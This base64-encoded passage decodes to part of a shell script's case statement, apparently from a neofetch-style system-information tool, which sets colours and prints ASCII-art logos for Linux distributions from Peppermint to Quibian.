cgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzN9ICAgICAgICAgICAgICAgICAgICAgLi4uYAoke2MzfSAgICAgICAgICAgICAgICAgICAgIGAtLy8vOi1gCiR7YzN9ICAgICAgICAgICAgICAgICAgICAgICAuKyR7YzJ9c3N5cyR7YzN9Lwoke2MzfSAgICAgICAgICAgICAgICAgICAgICAgICske2MyfXl5eXl5JHtjM31vICAgICR7YzJ9CiR7YzJ9ICAgICAgICAgICAgICAgICAgICAgICAgLXl5eXl5eToKJHtjMn0gICAgICAgICAgIGAuOi8rb29vKy86YCAteXl5eXl5Kwoke2MyfSAgICAgICAgIGA6b3l5eXl5eXMrOi0uYHN5eXl5eXk6CiR7YzJ9ICAgICAgICAuc3l5eXl5eW8tYCAgIC5veXl5eXl5bwoke2MyfSAgICAgICBgc3l5eXl5eSAgIGAtK3l5eXl5eXkvYAoke2MyfSAgICAgICAveXl5eXl5KyAtL29zeXl5eXl5by8uCiR7YzJ9ICAgICAgICt5eXl5eXktICBgLi06OjotLmAKJHtjMn0gICAgICAgLnl5eXl5eS0KJHtjM30gICAgICAgIDoke2MyfXl5eXl5JHtjM31vCiR7YzN9ICAgICAgICAgLiske2MyfW9vbyR7YzN9Kwoke2MzfSAgICAgICAgICAgYC46Oi86LgpFT0YKICAgICAgICA7OwoKICAgICAgICAiUGVwcGVybWludCIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDEgMTUgMwogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgICAgICAgICBQUFBQUFBQUFBQUFBQUAoke2MxfSAgICAgICAgICAgUFBQUCR7YzJ9TU1NTU1NTSR7YzF9UFBQUFBQUFBQUFAKJHtjMX0gICAgICAgICBQUFBQJHtjMn1NTU1NTU1NTU1NJHtjMX1QUFBQUFBQUCR7YzJ9TU0ke2MxfVBQCiR7YzF9ICAgICAgIFBQUFBQUFBQJHtjMn1NTU1NTU1NJHtjMX1QUFBQUFBQUCR7YzJ9TU1NTU0ke2MxfVBQCiR7YzF9ICAgICBQUFBQUFBQUFBQUFAke2MyfU1NTU1NTSR7YzF9UFBQUFBQUCR7YzJ9TU1NTU1NTSR7YzF9UFAKJHtjMX0gICAgUFBQUFBQUFBQUFBQJHtjMn1NTU1NTU1NJHtjMX1QUFBQJHtjMn1NJHtjMX1QJHtjMn1NTU1NTU1NTU0ke2MxfVBQCiR7YzF9ICAgUFAke2MyfU1NTU0ke2MxfVBQUFBQUFBQUFAke2MyfU1NTSR7YzF9UFBQUFAke2MyfU1NTU1NTU0ke2MxfVAke2MyfU1NJHtjMX1QUFBQCiR7YzF9ICAgUCR7YzJ9TU1NTU1NTU1NTSR7YzF9UFBQUFBQJHtjMn1NTSR7YzF9UFBQUFAke2MyfU1NTU1NTSR7YzF9UFBQUFBQUFAKJHtjMX0gIFAke2MyfU1NTU1NTU1NTU1NTSR7YzF9UFBQUFAke2MyfU1NJHtjMX1QUCR7YzJ9TSR7YzF9UCR7YzJ9TU0ke2MxfVAke2MyfU1NJHtjMX1QUFBQUFBQUFBQUAoke2MxfSAgUCR7YzJ9TU1NTU1NTU1NTU1NTU1NTSR7YzF9UFAke2MyfU0ke2MxfVAke2MyfU1NTSR7YzF9UFBQUFBQUFBQUFBQUFBQUAoke2MxfSAgUCR7YzJ9TU1NJHtjMX1QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFAke2MyfU1NTU1NJHtjMX1QCiR7YzF9ICBQUFBQUFBQUFBQUFBQUFBQJHtjMn1NTU0ke2MxfVAke2MyfU0ke2MxfVAke2MyfU1NTU1NTU1NTU1NTU1NTU0ke2MxfVBQCiR7YzF9ICBQUFBQUFBQUFBQUCR7YzJ9TU0ke2MxfVAke2MyfU1NJHtjMX1QUFBQJHtjMn1NTSR7YzF9UFBQUFAke2MyfU1NTU1NTU1NTU1NJHtjMX1QUAoke2MxfSAgIFBQUFBQUFBQJHtjMn1NTU1NTU0ke2MxfVBQUFBQJHtjMn1NTSR7YzF9UFBQUFBQJHtjMn1NTU1NTU1NTU0ke2MxfVBQCiR7YzF9ICAgUFBQUCR7YzJ9TU0ke2MxfVAke2MyfU1NTU1NTU0ke2MxfVBQUFBQUCR7YzJ9TU0ke2MxfVBQUFBQUFBQUFAke2MyfU1NTU0ke2MxfVBQCiR7YzF9ICAgIFBQJHtjMn1NTU1NTU1NTU0ke2MxfVAke2MyfU0ke2MxfVBQUFAke2MyfU1NTU1NTSR7YzF9UFBQUFBQUFBQUFBQUAoke2MxfSAgICAgUFAke2MyfU1NTU1NTU0ke2MxfVBQUFBQUFAke2MyfU1NTU1NTSR7YzF9UFBQUFBQUFBQUFBQCiR7YzF9ICAgICAgIFBQJHtjMn1NTU1NJHtjMX1QUFBQUFBQUFAke2MyfU1NTU1NTU0ke2MxfVBQUFBQUFBQCiR7YzF9ICAgICAgICAgUFAke2MyfU1NJHtjMX1QUFBQUFBQUCR7YzJ9TU1NTU1NTU1NTSR7YzF9UFBQUAoke2MxfSAgICAgICAgICAgUFBQUFBQUFBQUCR7YzJ9TU1NTU1NTU0ke2MxfVBQUFAKJHtjMX0gICAgICAgICAgICAgICBQUFBQUFBQUFBQUFBQUApFT0YKICAgICAgICA7OwoKICAgICAgICAiUGlzaSIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDEyIDcgNiAxIDgKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgXEZ2LyEtICAgICAgICAgICAgICAgICAgICAgIGA6P2x6Qwoke2MxfSAgIFEhOjo9ekZ4ISAgJHtjMn1gO3Y2V0JDaWNsO2AgICR7YzF9LHZDQ1whOjojLgoke2MxfSAgLCU6OjosJ2AgJHtjMn0rIyVAQEZRQEAuICAgLGNGJWkke2MxfWBgLScsOjphPwoke2MxfSAgK206LCdgYGAke2MyfX0zLC9AQFFcQEAgICAgICAgImFmLSR7YzF9IGAtJyI3ZgogID1vJy5gICR7YzJ9L20nICAgOlFAOlFnICAgICAgICAgLGtsJHtjMX0gIGAufG8KICA6a2AgJyR7YzJ9JCsgICAgICAnTmFybSAgICAgICAgICAgPmQsJHtjMX0gIGlpCiAgICNgJHtjMn0hcC4gICAgICAgIGBDICwgICAgICAgICAgICAnZCske2MxfSAlJwoke2MyfSAgICEwbSAgICAgICAgICAgICAgICAgICAgICAgICAgIGA2S3YKICAgPWEgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtKwogICFBICAgICAhXEx8OiAgICAgICAgICAgIDp8TFwhICAgICAkOgogLjhgICAgICBRJyclUSMnICAgICAgICAnI1ElJydRICAgICBgMC0KIDo2ICAgICAgRXwuNlFRdSAgICAgICAgdVFRNi58RSAgICAgIHA6CiAgaXsgICAgICBcanRzOT8gICAgICAgID85c3RqXCAgICAgIHVcCiAgIHxhYCAgICAgICAgICAgIC0nJy4gICAgICAgICAgICBgZT4KICAgICxtKyAgICAgJHtjMX0nXiAhYCR7YzJ9c0BAQEBhJHtjMX0nImArYCR7YzJ9ICAgICA+ZScKICAgICAgITN8JHtjMX1gfD0+PnItICAke2MyfSdVJToke2MxfSAgJz4+Pj06YFwzIQogICAgICAgJ3hvcEV8ICAgICAgJHtjMn1gJyR7YzF9ICAgICBgbGVkb3otCiAgICBgOz0+PitgJHtjMn1gXmxsY2kvfD09fC9pY2xjO2Ake2MxfSc+Pj4+OgogICBgXmArfiAgICAgICAgICAke2MyfWBgYGAke2MxfSAgICAgICAgICAhIS1eCkVPRgogICAgICAgIDs7CgogICAgICAgICJQTk0gTGludXgiKiB8ICJXSFBOTSBMaW51eCIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDMzIDkgMTUgMjAyCiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoKJHtjMX0KICAgICAgICAgICAgICAgYGAuLS0tLi5gIGAtLWAKICAgICAgICAgICAgYGAuLS0tLi4uLi4uLi4tOi4ke2MyfS06OmAke2MxfQogICAgICAgICAgICR7YzJ9Li86Oi0ke2MxfS4uLi4uLi4uJHtjMn0tLTo6LmBgYGAke2MxfQogICAgICAgICAgJHtjMn0uOjovLzo6OiR7YzF9LS0tLSR7YzJ9Ojo6Oi0uLiR7YzF9CiAgICAgICAgICAuLiR7YzJ9LS06Ojo6Oi0tOjo6OisrLSR7YzF9LmAKICAke2MyfWAtOi1gJHtjMX0gICAuLW9oeSs6OiR7YzJ9LTo6OiR7YzF9L3NkbWRkOi4ke2MyfSAgIGAtOi0KICAgLi06Ojoke2MxfS4uLiR7YzN9c05ObWRzJHkke2MxfW8vKyR7YzN9c3krTk4kbSR7YzF9ZCsuYCR7YzJ9LTo6Oi0uCiAgICAgYC4tOi0ke2MxfS4vJHtjM31kTiR7YzF9KCkke2MzfXl5b29vc2Qke2MxfSgpJHtjM30kbSR7YzF9ZHkke2MyfS0uOjotLmAke2MxfQogICAgICAke2MyfWAuJHtjMX0tLi4uLSR7YzN9K2hOZHl5eXl5eWRteSR7YzF9Oi4uLi4uLiR7YzJ9YCR7YzF9CiBgYC4uLS0uLi4uLi0ke2MzfXlOTm0ke2M0fWhzc3NzaCR7YzN9bW1kbyR7YzF9Li4uLi4uLi4uYGBgCmAtOjovLzouLi4uLiR7YzN9aE5OTk5OJHtjNH1tZGRtJHtjM31OTk5tZHMke2MxfS4uLi4uLy86Oi0tYAogIGBgYC46LS4uLiR7YzN9b05OTk5OTk5OTk5OTk5ObWQvJHtjMX0uLi46LS5gYGAKICAgICAgLi4uLi4ke2MzfWhOTk5OTk5OTk5OTk5OTm1kcyR7YzF9Li4uLmAKICAgICAgLS0uLi4ke2MzfWhOTk5OTk5OTk5OTk5OTm1kbyR7YzF9Li4uLi4KICAgICAgLjouLi4ke2MzfS9OTk5OTk5OTk5OTk5OTmRkJHtjMX06Li4uLmAKICAgICAgIGAtLi4uJHtjM30rbU5OTk5OTk5OTk5ObWgke2MxfTouLi4tLgogICAgICR7YzR9LjorbysvOi0ke2MxfTorb28rLy8vKytvKy86LSR7YzR9Oi8rb29vLzouCiAgICAgICAke2M0fStvby86by0gICAgICAgICAgICArb29vb29zby5gCiAgICAgICAke2M0fS5gICAgYCAgICAgICAgICAgICBgLyAgLi0vLy0KRU9GCiAgICAgICAgOzsKCiAgICAgICAgInBvcG9zX3NtYWxsIiogfCAicG9wX29zX3NtYWxsIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgNiA3CiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfV9fX19fXwpcXCAgIF8gXFwgICAgICAgIF9fCiBcXCBcXCBcXCBcXCAgICAgIC8gLwogIFxcIFxcX1xcIFxcICAgIC8gLwogICBcXCAgX19fXFwgIC9fLwogICAgXFwgXFwgICAgXwogICBfX1xcX1xcX18oXylfCiAgKF9fX19fX19fX19fKWAKRU9GCiAgICAgICAgOzsKCiAgICAgICAgIlBvcCFfT1MiKiB8ICJwb3BvcyIqIHwgInBvcF9vcyIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDYgNwogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgICAgICAgLy8vLy8vLy8vLy8vLwogICAgICAgICAvLy8vLy8vLy8vLy8vLy8vLy8vLy8KICAgICAgLy8vLy8vLyR7YzJ9Kjc2NyR7YzF9Ly8vLy8vLy8vLy8vLy8vLwogICAgLy8vLy8vJHtjMn03Njc2NzY3Njc2KiR7YzF9Ly8vLy8vLy8vLy8vLy8KICAgLy8vLy8ke2MyfTc2NzY3JHtjMX0vLyR7YzJ9NzY3Njc2NyR7YzF9Ly8vLy8vLy8vLy8vLy8KICAvLy8vLyR7YzJ9NzY3Njc2JHtjMX0vLy8ke2MyfSo3Njc2NyR7YzF9Ly8vLy8vLy8vLy8vLy8vCiAvLy8vLy8vJHtjMn03Njc2NzYke2MxfS8vLyR7YzJ9NzY3Njcke2MxfS4vLy8ke2MyfTc2NzYqJHtjMX0vLy8vLy8vCi8vLy8vLy8vLyR7YzJ9NzY3Njc2JHtjMX0vLyR7YzJ9NzY3Njcke2MxfS8vLyR7YzJ9NzY3Njc2JHtjMX0vLy8vLy8vLwovLy8vLy8vLy8vJHtjMn03Njc2NzY3Njc2NyR7YzF9Ly8vLyR7YzJ9NzY3Njcke2MxfS8vLy8vLy8vLwovLy8vLy8vLy8vLyR7YzJ9NzY3Njc2NzYke2MxfS8vLy8vLyR7YzJ9NzY3NiR7YzF9Ly8vLy8vLy8vLwovLy8vLy8vLy8vLy8sJHtjMn03Njc2JHtjMX0sLy8vLy8vLyR7YzJ9NzY3JHtjMX0vLy8vLy8vLy8vLwovLy8vLy8vLy8vLy8vKiR7YzJ9NzY3NiR7YzF9Ly8vLy8vLyR7YzJ9NzYke2MxfS8vLy8vLy8vLy8vLwovLy8vLy8vLy8vLy8vLy8ke2MyfTc2NzYke2MxfS8vLy8vLy8vLy8vLy8vLy8vLy8vCiAvLy8vLy8vLy8vLy8vLy8ke2MyfTc2NzYke2MxfS8vLyR7YzJ9NzY3JHtjMX0vLy8vLy8vLy8vLy8KICAvLy8vLy8vLy8vLy8vLy8vLy8vLy8vJHtjMn0nJHtjMX0vLy8vLy8vLy8vLy8KICAgLy8vLy8vJHtjMn0uNzY3Njc2NzY3Njc2NzY3Njc2Nywke2MxfS8vLy8vLwogICAgLy8vLy8ke2MyfTc2NzY3Njc2NzY3Njc2NzY3Njc2NyR7YzF9Ly8vLy8KICAgICAgLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCiAgICAgICAgIC8vLy8vLy8vLy8vLy8vLy8vLy8vLwogICAgICAgICAgICAgLy8vLy8vLy8vLy8vLwpFT0YKICAgICAgICA7OwoKICAgICAgICAiUG9ydGV1cyIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDYgNwogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgICAgICAgYC4tOjo6LS5gCiAgICAgICAgIC0reWRtTk5OTk5OTm1keSstCiAgICAgIC4rZE5tZGhzKy8vLy8vLytzaGRtZG8uCiAgICAuc21teSstYCAgICAgICAgICAgICAuL3NkeToKICBgb21kby4gICAgYC4tLytvc3Nzc28rLy1gIGArZHkuCiBgeW1zLiAgIGA6c2htTm1kaHNvbysrb3N5eW8tYGBvaC4KIGhtLyAgIC5vZE5tZHMvLmAgICAgYGAuLi4uLjo6Oi0rcwovbTogIGArZE5teTpgICAgYC4vb3loaGhoeXlvb28rK3NvCnlzICBgeU5teS0gICAgLitobW1obzotLmAgICAgIGBgYApzOiAgeU5tK2AgICAuc21OZCsuCmBgIC9ObTogICAgK2ROZCtgCiAgIHlOKyAgIGBzbU55LgogICBkbSAgICBvTk55YAogICBoeSAgIC1tTm0uCiAgICt5ICAgb05ObwogICBgeWAgIHNOTjoKICAgIGA6ICArTk46CiAgICAgYCAgLm1ObwogICAgICAgICAvbW1gCiAgICAgICAgICAvbXlgCiAgICAgICAgICAgLnN5YAogICAgICAgICAgICAgLis6CiAgICAgICAgICAgICAgICBgCkVPRgogICAgICAgIDs7CgogICAgICAgICJwb3N0bWFya2V0b3Nfc21hbGwiKQogICAgICAgICAgICBzZXRfY29sb3JzIDIgNwogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgIC9cXAogICAgICAgLyAgXFwKICAgICAgLyAgICBcXAogICAgICBcXF9fICAgXFwKICAgIC9cXF9fIFxcICBfXFwKICAgLyAgIC8gIFxcLyBfXwogIC8gICAvIF9fX18vICBcXAogLyAgICBcXCBcXCAgICAgICBcXAovX19fX18vIC9fX19fX19fX1xcCkVPRgogICAgICAgIDs7CgogICAgICAgICJQb3N0TWFya2V0T1MiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyAyIDcKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgICAgICAgICAgICAgICAvXFwKICAgICAgICAgICAgICAgIC8gIFxcCiAgICAgICAgICAgICAgIC8gICAgXFwKICAgICAgICAgICAgICAvICAgICAgXFwKICAgICAgICAgICAgIC8gICAgICAgIFxcCiAgICAgICAgICAgIC8gICAgICAgICAgXFwKICAgICAgICAgICAgXFwgICAgICAgICAgIFxcCiAgICAgICAgICAvXFwgXFxfX19fICAgICAgIFxcCiAgICAgICAgIC8gIFxcX19fXyBcXCAgICAgICBcXAogICAgICAgIC8gICAgICAgLyAgXFwgICAgICAgXFwKICAgICAgIC8gICAgICAgLyAgICBcXCAgICBfX19cXAogICAgICAvICAgICAgIC8gICAgICBcXCAgLyBfX19fCiAgICAgLyAgICAgICAvICAgICAgICBcXC8gLyAgICBcXAogICAgLyAgICAgICAvIF9fX19fX19fX18vICAgICAgXFwKICAgLyAgICAgICAgXFwgXFwgICAgICAgICAgICAgICAgIFxcCiAgLyAgICAgICAgICBcXCBcXCAgICAgICAgICAgICAgICAgXFwKIC8gICAgICAgICAgIC8gLyAgICAgICAgICAgICAgICAgIFxcCi9fX19fX19fX19fXy8gL19fX19fX19fX19fX19fX19fX19fXFwKRU9GCiAgICAgICAgOzsKCiAgICAgICAgIlB1ZmZPUyIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDMKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9CiAgICAgICAgICAgICAgXywuLi5fLG0sCiAgICAgICAgICAgICwvJyAgICAgICciIjsKICAgICAgICAgICAvICAgICAgICAgICAgICIuCiAgICAgICAgICwnbW1tTU1NTW1tLiAgICAgIFwKICAgICAgIF8vLSJeXl5eXiIiIiUjJW1tLCAgIDsKICxtLF8sJyAgICAgICAgICAgICAgIiMjIykgIDssCigjIyMlICAgICAgICAgICAgICAgICBcIy8gIDsjI21tLgogXiMvICBfXyAgICAgICAgX19fICAgIDsgICgjIyMjIyMpCiAgOyAgLy8uXFwgICAgIC8vLlxcICAgOyAgIFwjIyMjLwogXzsgKCNcIi8vICAgICBcXCIvIykgIDsgICwvCkAjI1wgXCMjLyAgID0gICBgIj0iICw7bW0vCmBcIyM+Ll9fX18sLi4uLF9fX18sPCMjIyNACkVPRgogICAgICAgIDs7CgogICAgICAgICJQcm94bW94IiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgNyAyMDIKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgICAgICAgLjovLzpgICAgICAgICAgICAgICBgOi8vOi4KICAgICAgIGBoTU1NTU1NZC8gICAgICAgICAgL2RNTU1NTU1oYAogICAgICAgIGBzTU1NTU1NTWQ6ICAgICAgOm1NTU1NTU1Nc2AKJHtjMn1gLS8rb28rLzoke2MxfWAueU1NTU1NTU1oLSAgLWhNTU1NTU1NeS5gJHtjMn06LytvbysvLWAKYDpvb29vb29vby8ke2MxfWAtaE1NTU1NTU15eU1NTU1NTU1oLWAke2MyfS9vb29vb29vbzpgCiAgYC9vb29vb29vbzoke2MxfWA6bU1NTU1NTU1NTU1NTW06YCR7YzJ9Om9vb29vb29vL2AKICAgIC4vb29vb29vbystJHtjMX0gK05NTU1NTU1NTU4rICR7YzJ9LStvb29vb29vLy4KICAgICAgLitvb29vb29vKy0ke2MxfWBvTk1NTU1Ob2Ake2MyfS0rb29vb29vbysuCiAgICAgICAgLStvb29vb29vLy4ke2MxfWBzTU1zYCR7YzJ9Li9vb29vb29vKy0KICAgICAgICAgIDpvb29vb29vby8ke2MxfWAuLmAke2MyfS9vb29vb29vbzoKICAgICAgICAgIDpvb29vb29vby9gJHtjMX0uLiR7YzJ9YC9vb29vb29vbzoKICAgICAgICAtK29vb29vb28vLmAke2MxfXNNTXMke2MyfWAuL29vb29vb28rLQogICAgICAuK29vb29vb28rLWAke2MxfW9OTU1NTU5vJHtjMn1gLStvb29vb29vKy4KICAgIC4vb29vb29vbystJHtjMX0gK05NTU1NTU1NTU4rICR7YzJ9LStvb29vb29vLy4KICBgL29vb29vb29vOmAke2MxfTptTU1NTU1NTU1NTU1NbToke2MyfWA6b29vb29vb28vYApgOm9vb29vb29vL2Ake2MxfS1oTU1NTU1NTXl5TU1NTU1NTWgtJHtjMn1gL29vb29vb29vOmAKYC0vK29vKy86YCR7YzF9LnlNTU1NTU1NaC0gIC1oTU1NTU1NTXkuJHtjMn1gOi8rb28rLy1gCiR7YzF9ICAgICAgICBgc01NTU1NTU1tOiAgICAgIDpkTU1NTU1NTXNgCiAgICAgICBgaE1NTU1NTWQvICAgICAgICAgIC9kTU1NTU1NaGAKICAgICAgICAgYDovLzpgICAgICAgICAgICAgICBgOi8vOmAKRU9GCiAgICAgICAgOzsKCiAgICAgICAgIlB1cHB5IiogfCAiUXVpcmt5IFdlcmV3b2xmIiogfCAiUHJlY2lzZSBQdXBweSIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDQgNwogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgICAgIGAtL29zeXl5eXNvc3loaGhoaHl5cystCiAgLW9obU5ObWgrL2hNTU1NTU1NTU5OTk5kK2RNTU1NTk0rCiB5TU1NTU5ObW1kZG8vTk1NTU5OTk5OTk5OTm8rTk5OTk55Ci5OTk5OTk5tbW1kZGRzOk1NTk5OTk5OTk5OTk5oOm1OTk4vCi1OTk5keXl5aGRtbW1kYGROTk5OTm1tbW1OTm1kZC9vcy8KLk5tK3NoZGR5b29vKy9zbU5OTk5tbW1tTmguICAgOm1tZC4KIE5OTk55OmAgICAuL2htbW1tbW1tTk5OTjogICAgIGhOTWgKIE5NTi0gICAgLSsrLSArTk5OTk5OTk5OTm0rLi4tc01NTU0tCi5NTW8gICAgb05OTk5vIGhOTk5OTk5OTm1oZE5OTk1NTU1NKwouTU1zICAgIC9OTk5OLyBkTm1ocys6LWAgIHlNTU1NTU1NTSsKIG1NTSsgICAgIC4uIGBzTk4rLiAgICAgIGhNTU1NaGhNTU0tCiArTU1NbW86Li4uOnNOTU1NTU1tczpgIGhNTU1NbS5oTU15CiAgeU1NTU1NTU1NTU1NTmRNTU1NTU06Oi8rbysvL2RNTWRgCiAgIHNNTU1NTU1NTU1NTis6b3l5bzpzTU1NTk5NTU1OeWAKICAgIDptTU1NTU1NTU1NTU1tZGROTU1NTU1NTU1taC8KICAgICAgL2RNTU1NTU1NTU1NTU1NTU1NTU1OZHkvYAogICAgICAgIC4raE5NTU1NTU1NTU1ObWRocy8uCiAgICAgICAgICAgIC46Lytvb28rLzotLgpFT0YKICAgICAgICA7OwoKICAgICAgICAicHVyZW9zX3NtYWxsIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgMiA3IDcKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9IF9fX19fX19fX19fX18KfCAgX19fX19fX19fICB8CnwgfCAgICAgICAgIHwgfAp8IHwgICAgICAgICB8IHwKfCB8X19fX19fX19ffCB8CnxfX19fX19fX19fX19ffApFT0YKICAgICAgICA7OwoKICAgICAgICAiUHVyZU9TIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgMiA3IDcKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ZG1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tZApkTm0vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vbU5kCmROZCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkTmQKZE5kICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGROZApkTmQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZE5kCmROZCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkTmQKZE5kICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGROZApkTmQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZE5kCmROZCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkTmQKZE5kICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGROZApkTm0vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vbU5kCmRtbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbWQKRU9GCiAgICAgICAgOzsKCiAgICAgICAgIlF1YmVzIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgNCA1IDcgNgogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgICAgICAgICBgLi4tLS4uYAogICAgICAgICAgICBgLi0tLS0tLS0tLS0uYAogICAgICAgIGAuLi0tLS0tLS0tLS0tLS0tLS0uLmAKICAgICBgLi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS5gYAogYC4uLS0tLS0tLS0tLS0tLS4uLi4tLS0tLS0tLS0tLS0tLi5gCi46Oi0tLS0tLS0tLS0uLmBgICAgIGBgLi4tLS0tLS0tLS0tOis6CjovLy8vOi0tLS0uLmAgICAgICAgICAgICBgLi4tLS06L29zc3NvCjovLy8vLy8vOmAgICAgICAgICAgICAgICAgICBgL29zc3Nzc3NvCjovLy8vLy8vOiAgICAgICAgICAgICAgICAgICAgL3Nzc3Nzc3NvCjovLy8vLy8vOiAgICAgICAgICAgICAgICAgICAgL3Nzc3Nzc3NvCjovLy8vLy8vOiAgICAgICAgICAgICAgICAgICAgL3Nzc3Nzc3NvCjovLy8vLy8vOiAgICAgICAgICAgICAgICAgICAgL3Nzc3Nzc3NvCjovLy8vLy8vOiAgICAgICAgICAgICAgICAgICAgL3Nzc3Nzc3NvCjovLy8vLy8vLy1gICAgICAgICAgICAgICAgIC46c3Nzc3Nzc3NvCjovLy8vLy8vLy8vLy0uYCAgICAgICAgYC0vb3Nzc3Nzc3Nzc3NvCmAvLy8vLy8vLy8vLy8vLzotYGBgLjorc3Nzc3Nzc3Nzc3Nzc28tCiAgLi06Ly8vLy8vLy8vLy8vLy9zc3Nzc3Nzc3Nzc3Nzc28vLWAKICAgICBgLjovLy8vLy8vLy8vL3Nzc3Nzc3Nzc3Nzc3NzbzouCiAgICAgICAgIC4tOi8vLy8vLy9zc3Nzc3Nzc3Nzc3Nzc3Nzc3MvYAogICAgICAgICAgICBgLjovLy8vc3NzcysvK3Nzc3Nzc3Nzc3Nzcy4KICAgICAgICAgICAgICAgIGAtLS8vLSAgICBgLS9vc3Nzc28vLgpFT0YKICAgICAgICA7OwoKICAgICAgICAiUXVieXQiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyA0IDUgMCA0CiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgICAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMke2MyfSgke2MzfW9vbwoke2MxfSAgICAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMke2MyfSgke2MzfW9vbwoke2MxfSMjIyR7YzJ9KCR7YzN9b29vICAgICAgICAgICAgICAgICAgJHtjMX0jIyMke2MyfSgke2MzfW9vbwoke2MxfSMjIyR7YzJ9KCR7YzN9b29vICAgICAgICAgICAgICAgICAgJHtjMX0jIyMke2MyfSgke2MzfW9vbwoke2MxfSMjIyR7YzJ9KCR7YzN9b29vICAgICAgICAgICAgICAgICAgJHtjMX0jIyMke2MyfSgke2MzfW9vbwoke2MxfSMjIyR7YzJ9KCR7YzN9b29vICAgICAgICAgICAgICAgICAgJHtjMX0jIyMke2MyfSgke2MzfW9vbwoke2MxfSMjIyR7YzJ9KCR7YzN9b29vICAgICAgICAgICAgICAgICAgJHtjMX0jIyMke2MyfSgke2MzfW9vbwoke2MxfSMjIyR7YzJ9KCR7YzN9b29vICAgICAgICAgICAgICAgICAgJHtjMX0jIyMke2MyfSgke2MzfW9vbwoke2MxfSMjIyR7YzJ9KCR7YzN9b29vICAgICAgICAgICAke2MxfSMjJHtjM31vICAgICR7YzJ9KCgoKCR7YzN9b29vCiR7YzF9IyMjJHtjMn0oJHtjM31vb28gICAgICAgICAgbyR7YzJ9KCgke2MxfSMjIyAgICR7YzN9b29vb29vCiR7YzF9IyMjJHtjMn0oJHtjM31vb28gICAgICAgICAgIG9vJHtjMn0oKCR7YzF9IyMjJHtjM31vCiR7YzF9IyMjJHtjMn0oJHtjM31vb28gICAgICAgICAgICAgb29vJHtjMn0oKCR7YzF9IyMjCiR7YzF9IyMjIyMjIyMjIyMjIyMjIyR7YzJ9KCR7YzN9b28gICAgb28ke2MyfSgoKCgke2MzfW8KJHtjMn0oKCgoKCgoKCgoKCgoKCgoKCR7YzN9b29vICAgICBvb29vbwogIG9vb29vb29vb29vb29vb29vbyAgICAgICAgbwpFT0YKICAgICAgICA7OwoKICAgICAgICAiUXVpYmlhbiIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDMgNwogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgICAgICBgLi0tOjo6Ojo6OjotLS5gCiAgICAgICAgYC4tOjo6LS4uYGAgICBgYC4uLTo6LS5gCiAgICAgIC46Ojo6LWAgICAuJHtjMn0rJHtjMX06YGAgICAgICAgYC4tOjouYAogICAgLjo6OjouYCAgICAtOjo6Ojo6LWAgICAgICAgYC46Oi4KICBgLTo6Oi1gICA